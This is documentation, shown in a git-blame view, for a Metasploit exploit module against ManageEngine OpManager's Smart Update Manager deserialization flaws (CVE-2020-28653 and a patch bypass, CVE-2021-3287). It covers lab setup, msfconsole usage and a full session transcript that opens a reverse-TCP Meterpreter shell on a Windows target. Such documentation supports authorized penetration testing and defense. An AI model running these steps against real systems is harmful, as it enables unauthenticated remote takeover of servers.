Files
metasploit-gs/documentation/modules/exploit/multi/http/opmanager_sumpdu_deserialization.md
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

117 lines
5.5 KiB
Markdown
Raw Normal View History

2021-09-13 16:54:55 -04:00
## Vulnerable Application
### Description
An HTTP endpoint used by the Manage Engine OpManager Smart Update Manager component can be leveraged to deserialize an
arbitrary Java object. This can be abused by an unauthenticated remote attacker to execute OS commands in the context of
the OpManager application (NT AUTHORITY\SYSTEM on Windows or root on Linux). This vulnerability is also present in other
products that are built on top of the OpManager application. This vulnerability affects OpManager versions 12.1 -
2021-09-16 15:15:52 -04:00
12.5.328.
#### CVE-2020-28653
This vulnerability affects OpManager versions 12.1 - 12.5.232. The vulnerability involves sending a malicious PDU to the
2023-10-10 14:46:18 -04:00
SmartUpdateManager handler that when deserialized executes an arbitrary OS command.
2021-09-16 15:15:52 -04:00
#### CVE-2021-3287
2021-09-20 12:14:42 -05:00
This vulnerability is a patch bypass for CVE-2020-28653 and affects OpManager versions 12.5.233 - 12.5.328. When the
2021-09-16 15:15:52 -04:00
original vulnerability was patched, it was done so using a new `ITOMObjectInputStream` deserializer class. This object
2021-09-20 12:14:42 -05:00
has a flaw in its validation logic. The object works by requiring the caller to specify a list of one or more object
2021-09-16 15:15:52 -04:00
classes that can be deserialized. If an instance is used to perform more than one `readObject` call however, only the
first is protected because once a serialized object of an allowed type is read from the stream, the
`ITOMObjectInputStream` instance remains in a sort of authenticated state where subsequent objects can be read of any
type.
The exploit technique for this CVE leverages this by first sending a legitimate, serialized SUMPDU to create an instance
of the `SUMServerIOAndDataAnalyzer` object whose `process` method makes multiple `readObject` calls using the same
instance for each.
Unlike exploiting CVE-2020-28653, to exploit CVE-2021-3287 the target server must have the SUM server running. This is
not the case for the standard installer, but is the case for "Central" variant. Without the SUM server running, the log
handler is not initialized which causes the request handler to crash making the vulnerable code path inaccessible.
2021-09-13 16:54:55 -04:00
### Setup (Windows)
1. Download an affected version for either Windows or Linux from the [archive][0]
1. Run the installer executable
1. Accept the default values for all settings (skip registration), until the very end when prompted to start the
application
1. Unselect the option to start the application
1. If this option is missed, just navigate to the tray icon where it will say that it's starting and select the
option to stop it
1. Start a command prompt as an administrative user
1. Navigate to `C:\Program Files\ManageEngine\OpManager\bin`, older versions use `C:\ManageEngine\OpManager\bin`
1. Run `run.bat`
1. View and accept the license terms
1. Press `f` to run the product in Free mode
OpManager should start successfully after a few minutes. At that point the service can be exploited. In this case the
session will be opened in the context of the user that ran the service with `run.bat`. Once the server is restarted and
OpManager starts automatically, the vulnerability can be exploited to open a session in the context of NT
AUTHORITY\SYSTEM.
### Setup (Linux)
1. Download an affected version for either Windows or Linux from the [archive][0]
1. Run the installer executable as root
1. Accept the default values for all settings (skip registration)
2021-09-20 12:14:42 -05:00
1. Navigate to `/opt/ManageEngine/OpManagerCentral/bin`, older versions use `/opt/ManageEngine/OpManager/bin`
2021-09-13 16:54:55 -04:00
1. Run `run.sh` as root
## Verification Steps
1. Install the application
1. Start msfconsole
1. Do: `use exploit/multi/http/opmanager_sumpdu_deserialization`
1. Set the `RHOSTS`, `TARGET`, `PAYLOAD` and payload-related options as necessary
1. Do: `run`
1. You should get a shell.
## Options
2021-09-16 15:15:52 -04:00
### CVE
Vulnerability to use. If set to 'Automatic' (the default), the module will attempt to detect the version and select the
correct vulnerability.
2021-09-13 16:54:55 -04:00
## Scenarios
2021-09-16 15:15:52 -04:00
### Windows Server 2019 x64 w/ ManageEngine OpManager v12.5.328
2021-09-13 16:54:55 -04:00
```
msf6 > use exploit/multi/http/opmanager_sumpdu_deserialization
2021-09-16 15:15:52 -04:00
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set RHOSTS 192.168.159.96
RHOSTS => 192.168.159.96
2021-09-13 16:54:55 -04:00
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set TARGET Windows\ PowerShell
TARGET => Windows PowerShell
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
2021-09-16 15:15:52 -04:00
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set LHOST 192.168.159.128
2021-09-13 16:54:55 -04:00
LHOST => 192.168.159.128
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > check
2021-09-16 15:15:52 -04:00
[*] 192.168.159.96:8060 - The target appears to be vulnerable.
2021-09-13 16:54:55 -04:00
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] An HTTP session cookie has been issued
2021-09-16 15:15:52 -04:00
[*] Detected version: 12.5.328
2021-09-13 16:54:55 -04:00
[*] The request handler has been associated with the HTTP session
2021-09-16 15:15:52 -04:00
[*] Sending stage (200262 bytes) to 192.168.159.96
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.96:63887) at 2021-09-16 14:06:27 -0400
2021-09-13 16:54:55 -04:00
meterpreter > getuid
2021-09-16 15:15:52 -04:00
Server username: MSFLAB\smcintyre
2021-09-13 16:54:55 -04:00
meterpreter > sysinfo
Computer : WIN-3MSP8K2LCGC
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : MSFLAB
2021-09-16 15:15:52 -04:00
Logged On Users : 9
2021-09-13 16:54:55 -04:00
Meterpreter : x64/windows
2021-09-16 15:15:52 -04:00
meterpreter >
2021-09-13 16:54:55 -04:00
```
[0]: https://archives.manageengine.com/opmanager/